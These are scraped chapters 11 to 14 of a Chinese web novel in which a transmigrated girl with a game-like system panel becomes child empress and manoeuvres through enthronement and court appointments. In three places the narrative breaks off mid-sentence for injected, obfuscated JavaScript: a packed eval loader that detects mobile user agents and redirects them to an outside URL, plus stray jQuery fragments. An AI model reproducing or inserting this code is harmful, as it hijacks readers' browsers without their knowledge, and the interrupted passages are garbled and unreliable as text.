温惊梅替天子忧心——先帝最后那段日子本就把朝堂大肆清洗了一遍,如果温晏然延续了其父的作风的话,不少家族在走投无路之下,说不定便会与地方诸侯暗通款曲, 温晏然听了国师的话,未置可否地靠在凭几上,用眼神示意对方继续往下说。 温惊梅深施一礼:“陛下方登大宝,不若宽大为怀,免得建州人心浮动。” “兄长说的有理。”温晏然缓缓道,“然而谋反之事,罪在不赦,若不从严处置,天下人难免因此小觑于朕,倘若有人效季贼先例,行悖逆之事,又该当如何?” 温惊梅:“天下人心多向建京,只会因此感激陛下恩德,朝中百官亦会尽心竭力辅佐陛下……天桴本不涉外事,昨夜为陛下气魄所服,如今皆愿为陛下效死。” 温晏然负手立于原地,即不叫温惊梅起身,也不给出回应,就这么一言不发地看着国师。 半晌后,温晏然总算含笑开口:“既然如此,此事就只到季氏便罢。”又道,“季氏族中,未成丁者几何?” 温惊梅回答:“共有七人。” 温晏然:“那按兄长的意思,这七人该如何处置?” 温惊梅本不想再多话,但天子相询,不能不答:“季跃并无亲子,族中年幼之辈,或可改为流刑。” 温晏然笑:“既然是兄长的意思,那就这么办罢。”当场令高疏拟旨。 侍立在旁的池仪听见两人说话,心跳忍不住加快。 天子对于季氏一族的处置方案明明早有打算,却偏能让过来劝诫的重臣都产生一种“朕是被你们劝动了”的错觉。 西雍宫里的消息就像是长了腿一样,在建平中飞快传播开,等到下午的时候,就有不少人知道,温惊梅因为有救驾之功,终于劝得皇帝对叛逆之事从轻发落。 建平的人并不知道,因为成功平叛在各个大臣心中评价再度上调的温晏然,此刻正算不上愉快地看着新跳出来的提示语句。 [系统: 请为当前事件命名。] 温晏然面无表情地用意念输入了“禁军叛乱”四个字。 [系统: 支线任务[禁军叛乱]结束,玩家成功存活,祝您游戏愉快。] “……” 温晏然觉得自己当皇帝的职业定力说不定是通过游戏锻炼出来的——原来系统不但不会支线任务前做出提醒,等任务结束后,还要她自己负责取名是吗! 11. 第十一章 引导了这一局面的温晏然本人,此刻正在侧殿中老老实实地读书。 温晏然想,袁太傅本人固然是忠臣,但以他为首的官员却未必每个都怀着一腔赤胆忠心,总有汲汲于权势之人,时也势也,她把温惊梅推出去,就算这二位自己不打算别苗头,他们周围的人,却会忍不住开始针锋相对。 女官过来回禀,并引了一位给事中入殿,对方此次前来,是专门送礼部那边的奏疏给皇帝过目——时值初冬,年关将近,温晏然需要选定自己改元后的年号。 在呈上来的奏折中,礼部已经草拟了几个备选方案,写在最上头的是“延平”与“承安”。 温晏然看过,忍不住笑了一声:“延平,延的是什么平?承安,承的又是哪里的安?” 大周现在的情况,用外强中干来形容,都算得上委婉, 看到朝臣们如此擅长粉饰太平,温晏然感觉自己成为昏君的目标又往前顺利推进了一小步。 宫中叛乱者流下的血迹刚刚洗清,那位给事中意识到天子不甚满意,唯恐对方突然发作,把自己拖下去跟叛军作伴,当下如鹌鹑般战战兢兢地立在一旁。 池仪胆子大,加上相处了这些时日,颇为了解皇帝的性情,笑道:“礼部拟的年号,自然不如陛下圣意亲拟的合适。” 温晏然想了想,提笔在那封奏疏上写了两个字:“既然如此,年号就叫‘昭明’罢。” 昭明是多义词,温晏然心中取中其“光明”之意。 天光大亮后,人们从噩梦中苏醒,算是个不错的兆头。 * 今日难得未曾下雪,唯有风吹过积满雪的松树时,才会扬起一阵阵雪沫。 在当皇帝之后,温晏然起居都有一定的时刻,她洗漱后,拿起书看,好半天才翻过一页。 池仪留意到,在不跟大臣议事的时候,天子偶尔会出神地望向前方。 温晏然并非在发呆,而是在看系统面板。 她穿越过来也好些天了,可直到今日,上面那行“登基为帝”的提示语句都没有任何变化,让原本对它怀着“起码能出现一个进度条”期待的温晏然忍不住腹诽,倘若这玩意也是程序员制作的话,那当事人在把用户界面糊弄完后,大约就已经卷包袱跑路。 一位女官走了殿内,向天子禀报:“陛下,大驾已候在外头。” 温晏然将书卷放下,看一眼天色,起身:“是时候了。” 今天是她的登基大典。 按照流程,温晏然得先去郊外转一圈,然后回城,前往天桴宫祭祖,在宗庙前焚香,并将即位恩赦诏颁行天下。 女官过来帮温晏然戴衮冕,衮冕有十二旒,每根旒上都缀以玉珠,分量沉重,也正因如此,大周的皇帝若非必要,平常绝不轻易佩戴。 温晏然感受了下衮冕的重量,觉得这是一个正确的决定,起码帮她的诸位前任们大大降低了偏头痛跟颈椎病的困扰。 天子出行,公卿在前为引,属车八十一乘,两侧禁军林列如羽,浩浩荡荡,像是一条在建平城内外环绕的游龙。 登基流程虽然复杂,不过每个步骤都有礼官帮忙掌控,整个流程下来,温晏然除了走路外,就是拜了拜苍天跟温氏的历代先祖,并把一篇礼部写好的祭天文给扔进鼎里焚烧。 按照惯例,温晏然应该由国师送往最高处,然而在离顶点还有五步时,她扶着温惊梅的手稍稍用力,后者便不由自主地停了下来,由天子一人走完了最后一程路。 高台上,温晏然缓缓转过身来,隔着珠旒俯视着立于阶下的大臣们。 她并不恐高,但此刻却有种酒后微醺的眩晕感。 光看眼前的景象,谁能想得到大周已然天命将尽?反而会产生一种天下权柄尽在掌握中的错觉。 大典已近尾声,礼官正在诵读温晏然继位的恩赦诏,封赐大臣,并高声宣告次年建元时的年号。 随着最后一句话音的落地,所有大臣都俯首于地,向天子行大礼,温晏然感觉在这一刻,偌大的天地间似乎只有自己一人立足,她一动不动地站着,额前的珠旒在四周如山的颂声中,微微晃动。 此时没人会直视温晏然,更不会注意到天子的视线有片刻偏移。 [系统: [温晏然]个人威信+5。] [姓名:温晏然 年龄:13 职业:皇帝(待登基) 威信:35+20(职业加成) 特殊状态:[大病初愈] 警告:个人威信尚可,被架空风险降低。 备注:该界面将在十秒钟后关闭,十天后可再次开启。] 空中只有她一人能看见的半透明游戏面板上,“登基为帝”四个字慢慢变红,然后集体上移一格,原来的位置上替代出现了“建平内乱”四字。 * 宫道上,几名小內监正在扫雪。 他们负责栖雁宫这片地方的环境维护,闲聊时也常以被皇帝留在宫中的那些宗室近亲为话题。 在国丧过去后,温晏然没有立刻将宗室们放出,而是又留着好吃好喝地住了几日,末了亲自给宗室们指定新的住所,用的理由是禁军中卫统领叛乱,建平有些不稳当,住的靠近皇城一些,也比较安全。 倘若说这句话的人不是皇帝,多半会得到“既然叛乱的是原中卫统领,那不是离皇朝越远才越安全”的吐槽。 寻常的近支宗室被放出,但十一皇女跟十三皇子因为年龄小,温晏然有意将两人留在宫中,纵然是身为国师跟温氏同族的温惊梅,也没理由奏请皇帝将这二位殿下放出宫开府。 温晏然倒没用对待那位便宜七哥的态度来对待妹妹跟弟弟,还亲自去瞧过他们,又关心了下两人的衣食,算是表明了自己不打算苛待异母手足的态度。 叛乱的事情刚过去没两天,纵然皇帝表现得多疑一些,对宗室严加约束,大臣们也无话可说,而比起近支宗室的待遇,他们还有更要紧的事情需要讨论。 温晏然目前经常使用到的办公地点有两个,一个是西雍宫前殿,这个地方因为连着她的寝宫,所以主要用来跟心腹重臣讨论政事,另一个是合庆殿,是大周常朝的主要举行地点。 每天天色未亮时,温晏然就得被女官从床上薅起来,洗漱完毕后,再乘车辇抵达合庆殿。 哪怕大周朝的办公时间与睡个好觉之间存在着严重冲突,勤勤恳恳的大臣们也得按时起床,并在老板露面前到岗,等温晏然进入合庆殿时,看见的就是一群恭候多时的勤恳朝臣。 此刻虽值初冬时节,殿中仍旧温暖如春。 温晏然年纪小,之前又生过一场病,细心的女官们就提前在龙椅上披了层狐皮毯,免得天子受寒。 女官们原本还要把御座的珠帘放下,并在前面摆放两架云母屏风,不过被温晏然示意免去。 ——时不时在御 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880622|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 座前安设一些遮挡物也算大周的惯例,不过这跟担心皇帝受风吹没什么关系,主要是通过让大臣无法看清皇帝的神情的方式,来营造一种天威莫测的氛围,温晏然闲时曾翻阅过大周礼制的各类规定,感觉里面很大一部分内容除了给少府人员创造工作机会以外都没什么实际用途…… 温晏然之前曾担心过自己会被大臣当场纯粹的朝堂摆件,等上朝后才发现情况没那么严重,大周之前的帝王为了避免大臣架空年幼君主的事情发生,做了诸多准备,其中有一条是在有多个选择的情况下,尽可能使得继位之君的年龄大于十二岁,保证后来者都有基本的分辨能力,不至于让朝政完全决于大臣之手。 以先帝对袁言时的信任,在指定对方辅政的时候,也依旧对这位重臣的权柄做出了限制,哪怕温晏然现在基本没有处理政务的经验,也需要过来听政,并对大臣的奏对做出反馈,确保能牢牢掌控住政务的裁决权。 今天朝会的内容是之前的延续,先帝临终前,曾强撑病体,毫不客气地砍翻了一大批官员,导致各部都出现了大量空岗,以袁言时为首的大臣们奏请天子,为了让中枢正常运转,尽早把那些空岗给填满。 温晏然听着底下朝臣们讨论,心中也在默默思忖。 大周有科举制,不过还属于初期阶段,开考年限十分弹性化,因为近来时局不太好,就算加开一届恩科,多半也只有建州这边的人回来应考。 除了科举外,皇帝也可征辟人才入朝,那些被征辟的人,有些是名士大儒,也有些出身官宦人家,还有些像庆邑郡主那样,因为自身身份特别,所以得到了朝廷明面上的优待。 想到此处,温晏然就将目光投向了下方的重臣。 大周朝堂秩序分明,品阶高的,离御座的位置也近,温晏然穿越的时间还太短,刚刚才把高官们认了个脸熟。 她的目光从袁言时等人身上划过,停留在了右边一个异族女子身上。 那是她方才想到的庆邑郡主萧西驰。 如果说钟知微的面孔是带有一点异族风格,萧西驰就是完完全全的异族人相貌,她眉形若刀,鼻梁高挺,皮肤是健康的小麦色,瞳色则比中原人要淡上一些,耳朵上还戴着动物骨头打磨成的饰品。 庆邑目前是大周靠北边的一个大郡,这块地方是异族聚居之地,风俗与中原不同,从大周立国到现在,降而复叛,叛而复降,是个典型的不稳定因素,萧西驰算是这一代的庆邑部首领,十多年前被作为质子送入建平,被先帝封了郡主,又加了将军号,看似待遇优厚,但如今上一代庆邑首领已经去世,萧西驰本人却依旧被扣在建平不得外出,她没有实职,平素也不上朝,只是因为温晏然刚刚登基,才每天早起来宫里打个卡,让新领导认一认脸。 萧西驰是武人,知觉敏锐,注意到来自上方的视线,抬头往御座的方向看去。 两人四目相对,温晏然向着萧西驰微微一笑。 作为一个被剧透过的穿越人士,温晏然很清楚,此刻的萧西驰已经在谋划着跑回老家收拾家业,朝廷对庆邑部明面拉拢,暗里打压,后者一旦找到机会,就必定会脱离大周的掌控,算是日后动乱的一个巨型不稳定因素。 在那本互动型图书中的部分支线里,读者可以选择提前将萧西驰扼杀在建平,然而对方身死的消息传回庆邑后,举郡哀悼,然后集体叛乱,虽然遭遇了朝廷的镇压,却成功将天下大乱的时间提前了五年有余。 12. 第十二章 朝臣们虽然意见颇多,但在封赐功臣这一点,都迅速达成了一致。 在大周,立下大功之人的家族,通常都有爵位传承,每一代天子在登基时还会额外加恩,荫德其后人,哪怕这些家族已经很久没人在朝为官,也会有所表示。 宋氏,杜氏,赵氏,陆氏等等,都是世家大族,而且素来德行昭彰,朝廷这边也痛快地给了一些不痛不痒的荫官名额。 在议定了荫官问题后,终于轮到了今天的戏肉,大臣们开始商议,朝廷各部主官的缺失问题。 温晏然留意到,在一群朝廷要员里头,卢沅光算是对今天/朝议主题比较不热衷的那一个。 她稍稍一想,便明白了对方的心思——卢沅光在年轻一代里固然算是精英,但受工龄的限制,根基不算稳固,就算想提拔心腹担任紧要职务,也找不到那么多合适的人来,而且在户部尚书缺位的情况下,卢沅光能一手把控部中大权,但若是空降一个上官过来,今后的日子怕没那么好过。 御座上的温晏然面上露出一丝笑影。 朝廷里的忠臣还是不少的,但完全听从温晏然命令的臣子就不是那么多,毕竟按照现在的主流观点,完全按照皇帝的意愿行事,叫做“曲承上意”,从归属范畴上看,得划分到奸佞的技能列表当中。 这些天一直在为手下奸臣不够使而叹息的温晏然开始转换思路——现成的奸佞固然不常有,但只要培养的目标多了,总能出现几个合适的。 卢沅光想继续掌控户部大权,要么是袁太傅那一派官员开口,举荐她成为户部尚书,要么是由温晏然亲自提拔。 温晏然不记得自己有在评论区看到太多跟卢沅光相关的内容,所以这人多半不是如袁言时一样能给读者留下深刻印象的大忠臣,具备培养的可能。 她才稍稍坐直了身体,下方的贺停云立刻开口,请天子就他们方才的工作内容加以点评批示。 “太傅。” 袁言时立刻把身体转向前方,保持着坐姿向天子行了半礼:“臣在。” 温晏然:“有劳太傅,将三品以上要员的空缺,拟了条陈给朕。” ——正常来说官吏选拔得吏部来牵头,但前吏部尚书跟前户部尚书一样,都遭遇了先帝无情的清洗。 袁太傅应声称是,其余大臣心中各有盘算,不知道皇帝是想仔细考虑选官的事情,还是暂时不打算给出明确回复,并借此机会,敲打一下大臣。 温晏然又把大理寺卿陶素给喊出来:“之前季逆叛乱的事情审得如何?” 禁军内卫统领叛乱,如季跃这一类的首脑人物都被关押在幽台中,次要人物才放到大理寺里,而且朝臣们都风闻,新帝对此事颇为在意,就算大理寺卿想提审首脑,也得有她的口谕,而且整个提审过程,都需要在一个池姓女官的注视下进行,理由是便于事后回禀。 ——这个指令不太合规,正常来说得遭到御史的劝诫,好在现任的御史台大夫贺停云是被温晏然提拔到当前位置上的,加上事由特殊,就保持了最大程度的缄默。 新帝如此重视,大理寺卿也不敢怠慢,从袖中取出条陈,双手捧着,小心地放在内侍拿着的木盘中,再经由内侍检查后再转交给皇帝。 温晏然第一次体验上述流程的时候,觉得“图穷匕见”这类事例真是给皇帝们留下了深重的心理阴影…… 对于该叛乱者的处置温晏然早有章程,这时让大理寺卿递上条陈,也只是走个形式而已,温晏然扫了几眼,确定跟之前池仪汇报的没什么不同,就点了点头,示意允可,又道:“禁军内乱之事能顺利平息,多赖天桴之功,朕记得那里有不少世家子弟,既然朝中多部缺人,就择其功高者,入朝为官。” 天桴宫的主事者只能有温氏旁支担任,但国师以下还有诸多负责各类事务的都事,虽然流外无品,但也算是官身。 温晏然记得评论区里提到过,很多官宦世家会把家中在其他地方实在找不到工作的小辈给送到天桴宫那边混一口俸禄,她这次从天桴抓壮丁,既可以通过对其他派系势力的引入来压制以袁太傅为首的朝堂忠臣,也可以多出一批水平不行的庸官,为日后大周的人心尽背打下坚实基础。 ——当然翻评论时只看表面而没有深究其细节的温晏然并不清楚,按照大周朝堂风气,很多年轻人缺乏前途,不是因为才能不足,而是因为出身不好,像她的原身九皇女,因为没有可靠外家,明明已经过了登基为帝的十二岁标准线,但最后诸皇女皇子混战的时候,却根本没人将她放在过眼里。 御座上温晏然话音方落,卢沅光立刻出声附议,贺停云虽慢了一拍,也赶紧表示赞同。 其他大臣想了想,觉得也无不可,当下纷纷称是。 温晏然也并不奇怪大臣们会同意,毕竟之前叛乱的事情算是一个无形的筹码,事情发生的时候,除了天桴宫那边外,旁的朝臣未曾出上力,正在担心天子有见疑之意,所以旁的事情只要无关大局,都会退让一二。 袁言时旁观这一幕,面上不显,心下却有些不安,他希望不断加强对天子的影响力,自然不愿意多出一个温惊梅杵在旁边,但天桴宫地位超然,温惊梅此人平素也没有劣迹可寻,就算想要拿住对方的把柄敲打,短时间也找不到合适的由头。 温晏然不管朝臣们千回百转的心思,道:“今日还有旁的事情要奏报么?” 卢沅光:“臣有事起奏。”站起来,朝着御座的方向行了半礼,然后回答道,“近来多地都有大雪频降,若是处置不当,恐会致灾。” 民生问题归于户部管辖,卢沅光想做尚书,便立意要做出一点成绩出来,作为进身之阶。 袁太傅闻言,不着痕迹地看了卢沅光一眼。 温晏然的专业水平不允许她对处置方案做出值得一提的意见,个人威望也暂时不支持她在重要问题上胡作非为,当下微微颔首,令户部那边做好准备,所需银钱,核算后及时上报。 卢沅光之后,再没有大臣出列,温晏然做出退朝的示意,又点了几个人跟自己前往西雍宫。 能进皇帝日常办公处议事的大臣都算是在天子的心里挂过号的,袁太傅跟着过去旁人不奇怪,虽然小皇帝没有正式拜过师,但“太傅”这个职位就有帝王老师的意思,算是朝堂上地位最高的大臣。 其次贺停云卢沅光等人,都是部台中的要员,还有数位侍中侍郎,他们算是皇帝的秘书,负责协助皇帝处理政务,但除了这些大臣外,一向只作为朝堂背景板的萧西驰居然也被温晏然点了名,就大大出乎了朝臣们的意料。 萧西驰听见天子点名,面上也闪过一丝讶异,但很快就恢复如常,恭送皇帝退朝后,老老实实地跟在袁太傅等人身后,一块前 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880623|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 往西雍宫。 西雍宫与合庆殿相距不远,其前殿的规模比后者要小,等诸朝臣抵达时,殿内的茶座已按数准备齐全,很显然,天子今日的点名不是突发奇想,而是早有打算。 袁言时见状,神色倒是暗了一瞬——早在先帝时代,他就与宫廷内臣多有往来,因此消息格外灵通,然而自从池仪与张络被提拔到皇帝身侧后,他再想打探皇帝情况,就没之前那般容易,必须多做做少府那边的工作。 这些日子旁观温晏然不断对天桴宫加恩,袁言时心中不由产生了些想法,在他看来,天子刚刚登基,自然想要施展抱负,行动时难免觉得老臣掣肘,温晏然虽然一向对自己颇为尊敬,也难保日后不会改变态度,总得趁现在大权在握的时候,多多让小皇帝了解自己的价值,产生依赖才好。 朝臣们行礼后按品阶坐定,正准备说话时,温晏然忽然向池仪道:“今日天气冷,你为各位加一块坐垫。” 朝臣们闻言,本来就不算多严峻的神色,变得愈发松弛起来。 倘若温晏然的系统能把这些人的心情用数值化的方式显示的话,会看到一片“好感度+1”的提示。 冬天关心下大臣冷不冷,对经历过互联网洗礼的温晏然而言,算是挺常见的收买人心的套路,奈何大周的士人就吃这一套。 袁太傅等人慢慢喝过热茶,卢沅光道:“陛下,臣闻此茶气息清冽宜人,似有不同寻常之处。” 温晏然:“那卢卿觉得,这杯茶究竟有什么特别之处?” 卢沅光笑:“微臣本是猜不出的,但看到陛下桌上的这瓶绿梅,倒是猜到了些许——应该是加了梅花瓣罢?” 温晏然赞赏:“不错,卢卿好灵的舌头,好细致的眼光。” 卢沅光苦笑:“微臣倒恨自己的舌头,今日在殿中喝过陛下的茶,哪里还喝得下家中的粗茶呢?” 温晏然闻声知意,笑了两声,向池仪道:“那待会给卢侍郎家里送一包梅花茶去。” 袁太傅只喝了一口,就把茶盏放下,等温晏然与卢沅光的交流告一段落后,才出声道:“今日陛下召臣等前来,难道只是品茶而已吗?” 他的口气虽不算太严厉,但已然是打算劝谏的姿态。 温晏然笑:“是有事要议,所以先奉上茶水,让太傅润一润喉。” 既然袁言时已经提起了话头,温晏然便直接切入正题:“季逆事败后,他的职位便空缺至今,禁军统领虽不算三品内的要员,但毕竟负有护卫皇城之责,总不好长期空缺。” 朝臣们闻言,忍不住有些诧异,既然是禁军的事情,为什么要拉萧西驰一道旁听? 温晏然注意到大臣们的神色变化,转头看向萧西驰,半是寒暄半是解释:“萧将军是武将,娴熟兵事,朕也想听听你的建议。” 萧西驰垂首:“承蒙陛下厚爱,然而微臣在京中闲居已久,与朝中诸将皆无往来,恐怕要让陛下失望。” 温晏然微微一笑,倒没一定要萧西驰立刻说出点有价值的内容——禁军统领因为担负着守护皇城的重任,除了要具备相当程度的军事素养之外,更重要的是需要让天子觉得可堪信赖。 萧西驰出身异族,建平对她而言不是故土,而是龙潭虎穴,此人能顺利度过长兴末年的朝堂大清洗,平日里肯定注意明哲保身,不会轻易在敏感问题上发言。 13. 第十三章 在季跃下狱后,如今的禁军外中内三卫都暂由燕小楼代管,一切井然有序,但对皇帝们来说,由一个人统率全部禁军,显然不如三个人分头掌管来的安全性高。 温晏然靠在椅背上,含笑看着殿内的重臣们。 她试着带入大臣的视角看待眼前的问题——这些人一方面要考虑谁适合禁军统领的职位,不能推举一个太差的对象上台,毕竟按照大周制度,官员犯事,情况严重的话举荐者也会有连带责任,另一方面则要去揣测,皇帝心中有没有合适的人选。 温晏然心中当然是有人选的,叛乱之后,天桴宫那边已经得了封赏,可钟知微那群人却迟迟没有赏赐,这显然不合常理。 钟知微有边人血统,能进禁军已经属于破格优待,正常情况下无论如何也不可能成为禁军统领——大周属于“一家一姓之天下”,对这个时代的人来说,鄙视边人而看重中原人士,反倒是一件符合当前社会生产力与社会道德的事情,甚至假若温晏然以此为理由只赏钟知微财货,而不对后者进行职位上的提拔,都不会有人议论天子刻薄寡恩。 袁太傅不易察觉地皱了皱眉。 他虽然心怀野望,也是典型的大周士大夫出身,对边人存在着天然的排斥感,而且袁言时能把忠臣扮演得连身边亲近者都不疑心,当然是因为他大部分情况下的言行举止都十分符合社会主流价值观,此刻在体会到天子似乎想要提拔钟知微等人的意图后,对同在西雍宫前殿内议政的一名侍郎做了些暗示。 那名侍郎立刻上前一礼,开口道:“陛下,在商议禁军统领人选之前,不若先行封赏当日有功的将士。” 温晏然看对方一眼,不答反问:“卿家是……” 侍郎再度一俯身:“微臣王齐师。” 温晏然深深地看了对方一眼,颔首:“原来是王卿。” 她其实早就知道此人,只是一直没能把对方的姓名跟脸对上号。 评论区提及过,王齐师是袁言时的学生,只是不想依靠老师的声名为官,所以才隐瞒了双方的关系,被很多读者亲切地称为“忠孝双全王齐师”。 ——没有对重要评论进行仔细研究的温晏然并未理解到该称号下的反讽之意,只是在心中默默将对方划归到了自己昏君派系的对立面,而且她其实不太能理解为王齐师为什么非要隐瞒跟老师之间的关系,但作为一个初来乍到的理工科穿越者,温晏然只能将之暂时理解为王齐师此人的人物设定。 温晏然往椅背上一靠,笑道:“那就依王卿所言,先议一议该如何封赏当日有功的将士。” 王齐师会主动提起话头,当然已经有所准备,回禀道:“微臣建议,加钟校尉昭武尉,加其余禁军将士骑尉,并赏赐以金帛。” ——昭武尉五品,骑尉七品,跟上柱国一样,都是勋职,有待遇却无实权,而且不像爵位能传之于后嗣,属于武将的荣誉头衔之一。 理解了王齐师的意思后,不用温晏然亲自开口,作为礼部侍郎的郑引川就已然开口反驳:“只加勋职,未免显得太过苛待功臣了罢?” 郑氏之前因为七皇子的缘故,一向有做皇帝外戚之心,行为与许多士人出身的朝臣颇为格格不入,在大周,外戚跟士大夫的身份存在重叠之处,但也具备相当大的差异,如果外戚的行事更靠近士大夫一些,会让皇帝难以放心,如果与皇帝靠得太近,又难免与士大夫产生龃龉。 王齐师冷冷道:“以国师之功,也只是加以勋职,为何轮到禁军时,就一定要加以实职?”说完,竟向着温晏然跪下,“护卫皇城本就是禁军之责,如今出现统领叛乱之事,可以说其中人人都是戴罪之身,当日之乱,若非陛下洞察在先,难道钟校尉能发觉什么不对吗?其失察至此,若非陛下恩宽,正该下狱治罪才是。” 他说话时,能感到御座上的天子正看着自己,对方的视线没有明显的喜怒之色,作为一个侍奉过先帝的旧臣,王齐师发觉自己竟然无法把握到新帝的情绪变化。 郑引川哽住了一下,随后反驳道:“钟校尉位低而言轻,平时又不与季跃等人相善,若说体察禁军军心变化,也该问一问禁军中的统领与副将们。” 禁军外卫目前暂由燕小楼统辖,而燕小楼算是袁言时一派的官员,郑引川这么说,也是想借袁太傅等人的力量,打压一下王齐师的气焰。 王齐师却道:“不错,正该责问禁军统领与副将,微臣恳请圣上,免去外卫副将燕小楼之责,另择贤能之士。” “……” 倘若郑引川上过网的话,那么此刻内心的第一反应应该是“王齐师他鲨疯了”。 因为燕小楼的副将之位算是袁太傅举荐的,听到侍郎出声质疑,而且质疑的内容还跟叛乱有关,保持着忠臣姿态的袁言时自然要主动出列,向天子请罪,而且因为身具嫌疑,按照朝堂惯例,他等于失去了待会向皇帝在相关问题上谏言的资格。 西雍宫前殿内,一位重臣俯身,一名侍郎下拜,无论他们心中的真实想法是什么,此刻都只能静候天子的裁决。 温晏然打量着王齐师,觉得对方疯起来连自己老师都不放过的风格,的确很有文艺作品里那种大义灭亲的忠臣风范,笑了下,安抚袁太傅道:“此事与太傅何干?还请太傅快快入座。” 袁太傅却执意不肯:“既然事涉老臣,那老臣自该避嫌。” 温晏然干脆亲自离座,做出准备伸手搀扶的姿态,又一次成功在很多朝臣心中刷出了正向的好感度,而袁太傅自然不能当真让天子搀扶,也不能不给天子脸面,老老实实起身坐回原位,但仍旧坚持之前的态度——为了证明清白,他稍后不会就禁军统领的问题发表任何意见。 袁言时这么做,并非是跟燕小楼起了龃龉。 他深知燕小楼忠于君王,虽然也亲近自己这一派,但若是朝中重臣的意愿与君王的意愿产生分歧,燕小楼绝对会毫不犹豫地站到君王那边。 假若王齐 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14880624|159801||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师说动温晏然免去燕小楼职位,那么他们会推一个看似适合但实际上具有各种毛病的人上来,然后抓住此人的把柄,将其撵下去,重新举荐燕小楼上位,反复施恩之下,就算他不肯背弃君主,也难以做出损害袁太傅等人的事情。 温晏然并不知道,在那本互动游戏图书里,部分支线中,燕小楼会因为君权与相权的矛盾日益激化,忠义不能两全,最终自刎而死。 作为一个纯粹的,脱离所有文科知识点的理科生,温晏然以前没了解过任何有关“该如何做一个失败的皇帝”的内容,如今也只能摸着忠臣过河——既然罢免燕小楼是一件王齐师强烈支持,袁太傅默认的事情,她就觉得还是可以给燕小楼一个机会的。 不管朝臣们如何各执己见,最终禁军统帅的任免还是需要经过皇帝本人的首肯。 温晏然靠在椅背上,笑道:“各位卿家以为,为何朕给国师加勋,却不任以实职?” 贺停云出列,回禀:“大周惯例,国师除天桴一宫外,不任实职,陛下纵然心中爱重,也只能以勋职相加,而钟校尉乃禁军所属,岂能一体视之。” 王齐师没有反驳,事实上他也并不认为能当真避免钟知微品阶上的提升,也假做退让:“既然如此,臣举荐钟校尉往前营中任职,前营承平日久,其主官多耄聩之辈,正适合钟校尉这样年轻中直的武将。” 大周很喜欢用跟方向相关的词来给军队命名,比如禁军分为外中内三卫,再比如一些地方的屯兵,靠近中原腹地的会用前后左右中来命名,比如王齐师之前所说的前营,至于相对靠外的,一般就叫做边营,为了区分,会在不同边营前冠以所在地的地名,像天远郡那边的边营,就叫做天远边营。 他提议让钟知微去前营,或许在官位上不会委屈对方,但等同于是将后者从中枢调向了地方,而钟知微有没有足够可靠的家族势力以及能为自身援引的亲故,在被调走后,便会慢慢沉寂下来,在前营中蹉跎终老。 郑引川:“王侍郎让钟校尉去前营,禁军又该由谁来掌管,如今禁军中的将士,怕是没有功劳比钟校尉还高的。” 王齐师:“微臣以为,确实不应当再从禁军中简拔人才。” 他的理由也很充分,禁军算是皇帝的亲兵,负责拱卫皇城,如今却闹出了如此严重的事情,等季氏叛乱的消息传扬于天下后,天子的威信说不定都会因此动摇,不罚他们已经是开恩,当然不能再给他们升职。 说到最后,王齐师还讲了一句诛心之言:“倘若不加以威慑,日后再有叛乱之事,同僚纵然查知,也会隐匿不发,借机立功。” 他将理由说完后,郑引川立刻沉默下来。 虽然相处的时间还不长,但朝臣们对天子已经有了一定的了解,其中公认的一点是温晏然此人心思颇多,往好了说,是洞若观火,察人于微,往坏了说,那就是疑心病重。 事涉皇权,郑引川有心带着家族投靠天子,自然不敢多言。 14. 第十四章 温晏然面上含笑,对于朝臣的谏言既不允可,也不拒绝,她的目光在殿内环视一圈,询问:“那各位卿家觉得如何?” “……” 揣摩上意是一个技术活。 卢沅光想,天子这么问,大约是心中还有犹疑之意,所以想听听旁人的意见。 ——侍郎侍中都是清贵的要职,在理由充足的情况下,皇帝也不好太一意孤行,尤其是温晏然继位时日尚浅,根基还不算稳固。 贺停云道:“禁军统领之位不宜长久悬置,王侍郎既然建议自禁军之外择取,想来心中已有人选?” 王齐师:“微臣举荐边营郎将郭兴道为禁军外卫,罗越为中卫,至于内卫,请陛下自决。” 温晏然闻言,并没什么特别的反应,倒不是没有意见,主要是不清楚被王齐师点名的两位都是什么人。 在刚穿越那两天,温晏然听到自己不认得的陌生名字时,还会暗戳戳地呼唤一下系统——在她看来,这玩意别的功能没有,起码该具备基本的信息查询能力,奈何不管她怎么尝试使用,得到的回应都是沉默一片,最后不得不自食其力,努力记忆朝臣姓名以及各地的世家谱系,可惜穿越时日不长,学习进度尚浅,需要贴心的朝臣们帮忙解惑。 王齐师也没让天子茫然太久,立刻开始详述这二人的履历,并解释自己举荐他们的理由。 这两位武将虽是边郡出身,不过其家族都是从中原迁居过去的,一直心向建平,而且性格坚毅果敢,尤其是郭兴道,御下极严,尤其适合整肃刚刚出了事的禁军。 